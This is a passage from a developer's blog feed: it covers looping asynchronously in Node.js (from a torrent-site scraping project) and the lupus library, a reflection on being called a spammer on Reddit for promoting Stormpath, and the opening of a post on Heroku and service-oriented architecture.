torrent information available, so that I could later use it for some simple
data analysis.&lt;/p>
&lt;p>After taking a look at the site, I realized that the simplest way to scrape all
the existing torrents would be to just loop through all integers, querying each
one sequentially &amp;ndash; this is because TPB allows you to access torrents via their
integer ID (&lt;em>which is always increasing&lt;/em>):&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://thepiratebay.se/torrent/1">http://thepiratebay.se/torrent/1&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://thepiratebay.se/torrent/2">http://thepiratebay.se/torrent/2&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://thepiratebay.se/torrent/3">http://thepiratebay.se/torrent/3&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://thepiratebay.se/torrent/">http://thepiratebay.se/torrent/&lt;/a>&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>The rules are simple: if you get a 404 skip it &amp;ndash; if you get a 200, the torrent
exists and can be scraped!&lt;/p>
&lt;p>So, I sat down and wrote a first version that looked something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">request&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;request&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kd">var&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">10000000&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;http://thepiratebay.se/&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">...);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is some pretty basic stuff:&lt;/p>
&lt;ul>
&lt;li>Iterate through numbers? &lt;em>CHECK!&lt;/em>&lt;/li>
&lt;li>Make HTTP requests? &lt;em>CHECK!&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>But to my dismay, after running for a few minutes I noticed that this small
program was eating &lt;em>all the RAM on my laptop!&lt;/em> But why?!&lt;/p>
&lt;p>I realized that Node.js blocks when running blocking code (&lt;em>eg: a for loop&lt;/em>) &amp;ndash;
but I figured that since I was making async requests from within things would
continue to work normally.&lt;/p>
&lt;p>I was wrong.&lt;/p>
&lt;p>So, being confused about what was happening, I decided to dig a bit deeper. I
narrowed my case down to a simpler test:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kd">var&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">10000000&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;hi:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But alas, the same problem. The program simply runs for a few minutes, then
crashes as it uses all the RAM on my computer. Bummer.&lt;/p>
&lt;p>So then I started Googling around to find potential solutions. Surely this must
be a common issue?&lt;/p>
&lt;p>Unfortunately, however, I didn&amp;rsquo;t see much discussion about this, and all the
relevant Stack Overflow threads proposed solutions that didn&amp;rsquo;t require looping
at all (&lt;em>not an option in my case&lt;/em>).&lt;/p>
&lt;p>Next, I turned to &lt;a href="https://github.com/caolan/async" title="asyncjs">async&lt;/a> &amp;ndash; the really popular flow control library for Node.
After looking through the docs, I realized there was something that was
seemingly perfect for this! The &lt;a href="https://github.com/caolan/async#forever" title="asyncjs forever">forever&lt;/a> construct!&lt;/p>
&lt;p>So I then tried the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;async&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">async&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">forever&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">next&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;hi:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">next&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">err&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;All done!&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But again &amp;ndash; the same issue. After a few thousand loops: crash.&lt;/p>
&lt;p>After writing quite a few different iterations of this simple program, and a
significant amount of lost sleep (&lt;em>I can&amp;rsquo;t really sleep well knowing I don&amp;rsquo;t
understand something &amp;ndash; grr&lt;/em>) &amp;ndash; my coworker &lt;a href="http://www.robertjd.com/" title="Robert">Robert&lt;/a> proposed a working
solution:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">Abstraction&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">index&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">Abstraction&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">prototype&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getIndex&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nx">getIndex&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">index&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">index&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">Abstraction&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">prototype&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">isDoneTest&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nx">isDoneTest&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">index&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">10000000&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">list&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">Abstraction&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">function&lt;/span> &lt;span class="nx">iterator&lt;/span>&lt;span class="p">(){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">var&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">list&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getIndex&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">list&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">isDoneTest&lt;/span>&lt;span class="p">()){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">clearInterval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">interval&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">interval&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">setInterval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">iterator&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Brilliant! I didn&amp;rsquo;t even think of &lt;code>setInterval&lt;/code> for some reason.&lt;/p>
&lt;p>Anyhow: after a lot of discussion &amp;ndash; we both came to the agreement that using
&lt;code>setInterval&lt;/code> is essentially the only way to solve this problem.&lt;/p>
&lt;p>After thinking about this some more, I decided to write a small abstraction
layer to handle this &amp;ndash; so I created &lt;a href="https://www.npmjs.org/package/lupus" title="node-lupus">lupus&lt;/a>.&lt;/p>
&lt;p>&lt;code>lupus&lt;/code> provides simple (&lt;em>albeit, basic&lt;/em>) asynchronous looping for Node.js:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">lupus&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;lupus&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">lupus&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10000000&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">n&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;We&amp;#39;re on:&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">n&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">},&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;All done!&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Whatever you end up writing inside of the loop (&lt;em>blocking or not&lt;/em>) &amp;ndash; &lt;code>lupus&lt;/code>
doesn&amp;rsquo;t care.&lt;/p>
&lt;h2 id="the-moral">The Moral&lt;/h2>
&lt;p>Performing asynchronous for loops in Node.js turned out to be quite a lot harder
than I expected. I find it odd that it&amp;rsquo;s so easy to crash my programs with the
simplest of looping examples.&lt;/p>
&lt;p>Oh well! Live and learn!&lt;/p></description></item><item><title>Tech Marketing and Spam</title><link>https://rdegges.com/2014/tech-marketing-and-spam/</link><pubDate>Thu, 05 Jun 2014 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2014/tech-marketing-and-spam/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2014/tech-marketing-and-spam/horse-creature-sketch.jpg" alt="Horse Creature Sketch" title="Horse Creature Sketch">
&lt;/p>
&lt;p>Earlier today I was accused of spamming the &lt;a href="http://www.reddit.com/r/flask" title="Flask Subreddit">Flask subreddit&lt;/a> (&lt;em>you can see a
link to the offending post &lt;a href="http://www.reddit.com/r/flask/comments/277lxl/flask_auth_in_one_line_of_code/" title="Offending Reddit Post">here&lt;/a>&lt;/em>).&lt;/p>
&lt;p>What essentially happened is that I wrote a post on the &lt;a href="https://stormpath.com/blog/flask-auth-in-one-loc/" title="Flask Auth in One Line of Code">Stormpath blog&lt;/a> about
the new &lt;a href="http://flask-stormpath.readthedocs.org/en/latest/" title="Flask-Stormpath">Flask library&lt;/a> I wrote, then submitted the blog link to Reddit.&lt;/p>
&lt;p>Several comments were left, and I was called a spammer for continuously posting
Stormpath related stuff to Reddit.&lt;/p>
&lt;p>&lt;em>The worst part?&lt;/em> The commenter was completely right, and I didn&amp;rsquo;t even
realize it until he pointed it out to me!&lt;/p>
&lt;p>&lt;strong>I&amp;rsquo;ve unknowingly become a spammer.&lt;/strong>&lt;/p>
&lt;h2 id="how-i-work">How I Work&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/tech-marketing-and-spam/big-dinosaur-sketch.jpg" alt="Big Dinosaur Sketch" title="Big Dinosaur Sketch">
&lt;/p>
&lt;p>Before diving into the thoughts that are on my mind right now, I wanted to take
a moment to clarify how it is that I typically &lt;em>work&lt;/em>.&lt;/p>
&lt;p>While my official title since &lt;a href="https://rdegges.com/2014/moving-on/" title="Moving On">joining&lt;/a> &lt;a href="https://stormpath.com/" title="Stormpath">Stormpath&lt;/a> is &lt;em>&amp;ldquo;Developer Evangelist&amp;rdquo;&lt;/em>,
I consider myself to essentially be a full time programmer. While I realize
this isn&amp;rsquo;t true of all Developer Evangelists, I prefer to spend my time doing
engineering related work.&lt;/p>
&lt;p>Instead of focusing all my time on community outreach or marketing-esque stuff,
I enjoy writing libraries to interface with Stormpath, helper utilities, and
generally any sort of code which makes my life (&lt;em>and the lives of my peers&lt;/em>)
easier.&lt;/p>
&lt;p>But to be honest: it&amp;rsquo;s mostly for selfish reasons. I enjoy coding more than
talking with people!&lt;/p>
&lt;p>I certainly enjoy going to events, giving talks, and participating in
hackathons &amp;ndash; but I need time to recharge and recover. For every day of human
interaction I have, I need several to recover.&lt;/p>
&lt;p>&lt;em>And my favorite way to recover?&lt;/em> Writing some code &amp;gt;:)&lt;/p>
&lt;p>Anyhow, because of this, since joining Stormpath a few months back I&amp;rsquo;ve been
primarily focused on building out better developer facing libraries and tools.
The whole reason I joined Stormpath in the first place was because I &lt;em>love&lt;/em>
their goals, and respect what they&amp;rsquo;re trying to do. I wanted to actively use
the product myself, and work on making it better!&lt;/p>
&lt;p>Naturally, I&amp;rsquo;m enjoying my work.&lt;/p>
&lt;p>And as I&amp;rsquo;ve been building out more and more developer tools here at Stormpath,
I&amp;rsquo;ve been writing about my journey along the way. I&amp;rsquo;ve been publishing articles
on Stormpath&amp;rsquo;s &lt;a href="https://stormpath.com/blog/" title="Stormpath Blog">blog&lt;/a> about the new stuff I&amp;rsquo;ve been releasing, why I think
it&amp;rsquo;s cool, and how it works.&lt;/p>
&lt;p>I&amp;rsquo;ve been pouring a bunch of effort and love into it, and I&amp;rsquo;m honestly really
excited about it.&lt;/p>
&lt;p>Which brings me to the next part of the story.&lt;/p>
&lt;h2 id="self-promotion-in-tech">Self Promotion in Tech&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/tech-marketing-and-spam/hellish-demon-sketch.jpg" alt="Hellish Demon Sketch" title="Hellish Demon Sketch">
&lt;/p>
&lt;p>Self promotion in the tech world is interesting.&lt;/p>
&lt;p>For the longest time (&lt;em>and still today&lt;/em>), I don&amp;rsquo;t really care about my online
reputation. If you meet me in person, I&amp;rsquo;m exactly the same as I am online. I
have no online &lt;em>&amp;ldquo;persona&amp;rdquo;&lt;/em>, it&amp;rsquo;s just me. Raw.&lt;/p>
&lt;p>When I&amp;rsquo;m excited about something, I tend to tweet about it, write about it, and
tell people about it because I &lt;em>love it&lt;/em>. I try to optimize my life for
enjoyment as much as possible, which means allowing myself the freedom to really
do the things I love, and stop doing the things I don&amp;rsquo;t love.&lt;/p>
&lt;p>For me, what this means is that as I&amp;rsquo;m working on stuff, I like to tell people
about it! If I think something is &lt;em>cool&lt;/em> or &lt;em>awesome&lt;/em>, I try to share it with
other people because I want them to feel the same way I do. It&amp;rsquo;s a drive that I
can&amp;rsquo;t ignore.&lt;/p>
&lt;p>Normally, when I finish writing about something or hacking on something that I
think is really cool, I&amp;rsquo;ll tweet about it, and possibly link to it on
&lt;a href="https://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a> or &lt;a href="http://www.reddit.com/" title="Reddit">Reddit&lt;/a>.&lt;/p>
&lt;p>99% of the time nobody cares about it, but I still feel glad that I put it out
there because if even one person took a look at whatever it is I posted, I get a
bit of joy.&lt;/p>
&lt;p>Sharing stuff with other people is quite addictive.&lt;/p>
&lt;p>&lt;em>Did I ever consider myself posting to Reddit and Hacker News when I do things I
think are interesting as spam?&lt;/em> Not at all. It just seemed natural to do so.&lt;/p>
&lt;p>For some reason, it never occurred to me until earlier today that by sharing
things I&amp;rsquo;m working on (&lt;em>for money&lt;/em>), I&amp;rsquo;m essentially spamming.&lt;/p>
&lt;p>And I didn&amp;rsquo;t even realize it.&lt;/p>
&lt;p>I think that self promotion in the tech world is definitely changing. It&amp;rsquo;s not
uncommon to visit a blog, and immediately be bombarded by huge popups
instructing you to sign up for this person&amp;rsquo;s personal newsletter where you can
learn all sorts of secrets.&lt;/p>
&lt;p>I&amp;rsquo;m so accustomed to the constant barrage of subscription requests and free
trials that I hardly even notice anymore. I just instinctively click the little
&amp;lsquo;x&amp;rsquo; in the top right corner and move along.&lt;/p>
&lt;p>I think that for me, while I clearly benefit from self promotion through
writing and social media, I&amp;rsquo;ve become so desensitized to self promotion that
I&amp;rsquo;ve lost all good judgement.&lt;/p>
&lt;p>&lt;strong>And it sucks.&lt;/strong>&lt;/p>
&lt;h2 id="what-i-was-thinking">What I Was Thinking&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/tech-marketing-and-spam/sharded-robot-sketch.png" alt="Sharded Robot Sketch" title="Sharded Robot Sketch">
&lt;/p>
&lt;p>When I was called a spammer, the first thing I thought was &lt;em>&amp;ldquo;What!? Me?!
Spamming?!&amp;rdquo;&lt;/em>&lt;/p>
&lt;p>It&amp;rsquo;s a weird feeling.&lt;/p>
&lt;p>It&amp;rsquo;s especially weird because I feel like I&amp;rsquo;m &lt;em>part of the tech community&lt;/em>.
These are &lt;em>my people&lt;/em>! How could I be spamming &lt;em>my people&lt;/em>?&lt;/p>
&lt;p>I&amp;rsquo;ve been writing software, giving talks, and writing about tech stuff for years
now (&lt;em>since I was maybe 12 years old&lt;/em>). The tech and programming community is
the only one I really relate to, and feel a part of.&lt;/p>
&lt;p>I felt insulted! My first reaction was to respond right away!&lt;/p>
&lt;p>Here&amp;rsquo;s how the conversation went:&lt;/p>
&lt;blockquote>
&lt;p>Not even that, it is a paid service, and they spam /r/flask and /r/python
regularly.&lt;/p>
&lt;p>Just look at this: &lt;a href="http://www.reddit.com/domain/stormpath.com/">http://www.reddit.com/domain/stormpath.com/&lt;/a>&lt;/p>
&lt;p>-scandinavian-&lt;/p>
&lt;/blockquote>
&lt;p>To which I replied:&lt;/p>
&lt;blockquote>
&lt;p>I&amp;rsquo;m not trying to spam anything &amp;ndash; (I&amp;rsquo;m the module author). I think it&amp;rsquo;s
genuinely a nice piece of software that makes doing Flask auth easier &amp;ndash; it&amp;rsquo;s
a paid service (just like Twilio, etc.), but has a pretty huge free tier.&lt;/p>
&lt;p>Unless you&amp;rsquo;re a fairly large site it&amp;rsquo;s completely free.&lt;/p>
&lt;p>Not sure why all the hate :x&lt;/p>
&lt;p>-rdegges&lt;/p>
&lt;/blockquote>
&lt;p>After writing the short comment above, I felt a wave of relief. It felt like I
was finally back to being my old normal self! &lt;em>&amp;ldquo;I can&amp;rsquo;t believe someone thought
I was a spammer!&amp;rdquo;&lt;/em>&lt;/p>
&lt;p>Then, several minutes later, I got another response:&lt;/p>
&lt;blockquote>
&lt;p>&lt;a href="http://www.reddit.com/wiki/reddiquette">http://www.reddit.com/wiki/reddiquette&lt;/a>&lt;/p>
&lt;p>In the last 3 months, out of the 20 links you have submitted, 19 were to your
service (stormpath) or your blog (rdegges.com).&lt;/p>
&lt;p>Buy a targeted ad if you want to advertise.&lt;/p>
&lt;p>Also you posted a bait article: The Flask Authentication Problem&lt;/p>
&lt;p>In the next article the &amp;ldquo;solution&amp;rdquo; is to pay for your service (yeah yeah, free
tier, you are definitely not trying to make money). Disregarding that not
everyone can send their users data to some random company, or that there
really isn&amp;rsquo;t a problem with writing your own authentication or using one of
the extensions.&lt;/p>
&lt;p>If you want to make money by spamming your sites, feel free, I don&amp;rsquo;t really
care, I just think people should know.&lt;/p>
&lt;p>-scandinavian-&lt;/p>
&lt;/blockquote>
&lt;p>At first when I read this, I was upset. But after reading it over a few times,
it hit me: &lt;strong>he&amp;rsquo;s completely right&lt;/strong>!&lt;/p>
&lt;p>I literally sat back in my chair and thought about it for a few minutes: what am
I doing here?&lt;/p>
&lt;p>&lt;em>&amp;ldquo;Am I spamming by linking to the stuff I&amp;rsquo;m working on and the things I&amp;rsquo;m writing
about?&amp;rdquo;&lt;/em> Well&amp;hellip; Yeah.&lt;/p>
&lt;p>&lt;strong>It was an uncomfortable truth to see myself from the other side&lt;/strong> &amp;ndash; as a
person who&amp;rsquo;s trying to convince someone to check out their paid service.&lt;/p>
&lt;p>I felt yucky all over.&lt;/p>
&lt;p>I don&amp;rsquo;t want to be some shameless self promoter! All I want to do is build cool
stuff and share it with &lt;em>my community&lt;/em>!&lt;/p>
&lt;p>Somewhere along the way, I obviously lost sight of what I was doing.&lt;/p>
&lt;h2 id="the-line">The Line&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2014/tech-marketing-and-spam/aye-aye-sketch.jpg" alt="Aye Aye Sketch" title="Aye Aye Sketch">
&lt;/p>
&lt;p>There&amp;rsquo;s a definite line that exists in the tech community &amp;ndash; a line which
separates promoting cool software / articles from paid services &amp;ndash; and it&amp;rsquo;s
definitely blurry.&lt;/p>
&lt;p>It&amp;rsquo;s no longer clear what is, and what isn&amp;rsquo;t spam.&lt;/p>
&lt;p>Is that article you&amp;rsquo;re reading trying to convert you into a customer? If so &amp;ndash;
is it spam?&lt;/p>
&lt;p>What if the article is trying to convert you into a customer, but also teaching
you something interesting or showing you something you find neat? Is it still
spam?&lt;/p>
&lt;p>Where is the line drawn?&lt;/p>
&lt;p>I think that, especially today, as more and more new companies are entering the
tech sector, we (&lt;em>as the tech community&lt;/em>) have to define what is, and what isn&amp;rsquo;t
acceptable.&lt;/p>
&lt;p>And more importantly &amp;ndash; we, as developers, need to learn this and internalize
it. If what we&amp;rsquo;re doing is bothering other people &amp;ndash; that&amp;rsquo;s not ok.&lt;/p>
&lt;p>Sure, there will definitely be people who hate you whatever it is you might do
&amp;ndash; but if you&amp;rsquo;re genuinely bothering people with your promotion it&amp;rsquo;d be best for
everyone if you stopped.&lt;/p>
&lt;p>I know that for me, I&amp;rsquo;m going to consciously think about what it is I&amp;rsquo;m sharing
the next time I work on something I find neat / interesting.&lt;/p>
&lt;p>Not only am I grateful for &lt;code>scandinavian-&lt;/code> pointing out what I was doing, but
I&amp;rsquo;m incredibly happy to have had the rare opportunity to get raw, unfiltered
feedback on &lt;em>my own behavior&lt;/em> from a stranger. It&amp;rsquo;s incredibly enlightening to
have that sort of feedback, and it isn&amp;rsquo;t something I&amp;rsquo;ll forget anytime soon.&lt;/p></description></item><item><title>Heroku and SOA</title><link>https://rdegges.com/2014/heroku-and-soa/</link><pubDate>Wed, 04 Jun 2014 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2014/heroku-and-soa/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2014/heroku-and-soa/large-warrior-sketch.jpg" alt="Large Warrior Sketch" title="Large Warrior Sketch">
&lt;/p>
&lt;p>In the past, I&amp;rsquo;ve written a bit about &lt;a href="http://en.wikipedia.org/wiki/Service-oriented_architecture" title="Service Oriented Architecture">service oriented architecture&lt;/a>, what&amp;rsquo;s
great about it, what&amp;rsquo;s bad about it, and how I&amp;rsquo;ve used it extensively in past
ventures with incredible success.&lt;/p>
&lt;p>Today I&amp;rsquo;d like to dive deeper on this, but cover a parallel topic: why
